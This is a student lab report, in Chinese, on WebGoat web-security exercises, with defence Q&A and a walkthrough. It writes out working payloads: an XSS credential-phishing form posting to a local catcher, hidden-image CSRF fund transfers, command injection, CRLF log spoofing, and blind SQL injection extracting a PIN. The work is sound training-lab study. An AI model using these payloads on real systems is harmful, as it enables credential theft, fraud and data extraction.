20165309 《网络对抗技术》实验九:Web安全基础
1.基础问题回答
(1)SQL注入攻击原理,如何防护。
- 原理:SQL注入攻击指的是经过构建特殊的输入做为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,使非法数据侵入系统。
- 防护:
- 对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
- 在PHP配置文件中
Register_globals=off;
设置为关闭状态,做用将注册全局变量关闭。
- 提升数据库命名技巧,对于一些重要的字段根据程序的特色命名,取不易被猜到的。
- 开启PHP安全模式
Safe_mode=on;
。
(2)XSS攻击的原理,如何防护。
- 原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它容许恶意Web用户将代码植入到提供给其它用户使用的页面中。
- 防护:
- 特征匹配方式,在全部提交的信息中都进行匹配检查,通常会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对全部用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。
- 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
(3)CSRF攻击原理,如何防护。
- 原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,经过假装来自受信任用户的请求来利用受信任的网站。
- CSRF通常的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当用户访问某特定网页时,若是用户点击了该URL,那么攻击就触发了,咱们能够在该恶意的url对应的网页中,利用
<img src="" />
来向目标网站发生一个GET请求,该请求会携带cookie信息,因此也就借用了用户的身份,也就是伪造了一个请求,该请求能够是目标网站中的用户有权限访问的任意请求。也可使用javascript构造一个提交表单的POST请求。
- 防护:
- 经过referer、token或者验证码来检测用户提交。
- “双提交”cookie。某个受权的cookie在form post以前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器须要在Post请求体或者URL中包含受权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
返回目录javascript
2.实验总结与体会
(1)遇到的问题与解决
- 问题:在作Numeric SQL Injection的时候,添加了
or 1=1
后依然报错,Select中显示问号。
- 解决:后来我才意识到是由于当初拷同窗的虚拟机的时候(由于本身下不下来webgoat...),这项课程已经完成了,因此不能do it again,须要从新开始。

(2)实验感觉
本次实验让我有了在作实验楼的类似感,一步步跟着提示完成课程颇有趣,收获也不少。同时,我也意识到了本身英语水平的薄弱,仍是得多练习英语才是...顺便推荐一波WebGoat中文手册,便于加深你们对本次实验的理解。html
返回目录java
3.实践过程记录
(1)前期准备:WebGoat
(2)XSS攻击
① Phishing with XSS
- hint提示要尝试向搜索字段添加HTML以建立假身份验证表单。
- 在左侧栏Cross-Site Scripting(XSS)攻击中打开Phishing with XSS,将下面这段代码输入到"Search:"输入框中:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 点击搜索,会看到一个要求输入用户名密码的表单:

- 输入用户名密码,点击登陆,WebGoat会将你输入的信息捕获并反馈给你:

② Stored XSS Attacks
- hint:You can put HTML tags in your message.意思是咱们要在信息中添加一个html的标签。
- 在信息中输入:
<script>alert("hi I am 5309");</script>
便可。

③ Reflected XSS Attacks
- 看一眼hint:A simple script is .
- 很简单,把它放到一个输入框里试试:

bang!
(3)CSRF攻击
④ Cross Site Request Forgery(CSRF)
- 看要求是让咱们发送一个恶意URL请求的图片给用户,在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出了。
- 输入
<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=10000" width="1" height="1">
,其中src指向网站的连接,这里就是本身的这个网站,后面的两个参数能够根据红框中的值据实填写,转帐金额暂定成10000元,而后经过宽高设置成1像素,隐藏掉这个图片。

- 点击后就执行了这个代码,被攻击者就会给你转钱啦:

⑤ CSRF Prompt By-Pass
- 看题目要求是和上一道题同样,只不过如今须要确认转帐。
- 在message中输入:
<img src="attack?Screen=324&menu=900&transferFunds=10000"
width="1" height="1">
<img src="attack?Screen=324&menu=900&transferFunds=confirm"
width="1" height="1">
- 攻击成功~

(4)Injection Flaws
⑥ Command Injection
- 尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机创建链接的IP以及系统的网络端口使用状况以及IP地址。在所请求的页面源代码中添加
"& netstat -an & ipconfig"
,如图所示:

- 在课程页面的下拉菜单就能够看到咱们新设的值,选定它,而后点击view后能够看到网络端口使用状况和IP地址。

⑦ Numeric SQL Injection
- 查看Solution可知咱们须要尝试追加一个老是解析为true的SQL语句,拦截POST请求,用101或1=1替换101。
- 将语句替换为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
,即在查看器中更改代码以下图所示:

- 能够看到全部城市的天气了:

⑧ Log Spoofing
- 日志伪造,目的是经过注入恶意字符串,按照规则伪造出一条日志,在Username输入
wsj%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符。

⑨ Blind Numeric SQL Injection
- 题目中说明了下面的表单容许用户输入账号并肯定它是否有效,意思就是返回值只有帐户有效或无效两种。
- 能够利用系统后台在用的查询语句:
SELECT * FROM user_data WHERE userid=accountNumber;
若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。
- 使用AND函数添加一些额外的查询条件。若是该查询条件一样为真,则返回结果应提示账号有效,不然无效,例如:
101 AND 1=1 101 AND 1=2
在第一条语句中,两个条件都成立,因此页面返回账号有效。而第二条则返回账号无效。
- 如今能够针对查询语句的后半部分构造复杂语句。下面的语句能够告诉咱们 PIN 数值是否大于1000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1000 );
若是页面提示账号有效,说明PIN>1000不然PIN<=1000。
- 不断调整数值,能够缩小判断范围,并最终判断出PIN 数值的大小。最终以下语句返回账号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

- 在查询框中输入2364 并提交:

返回目录git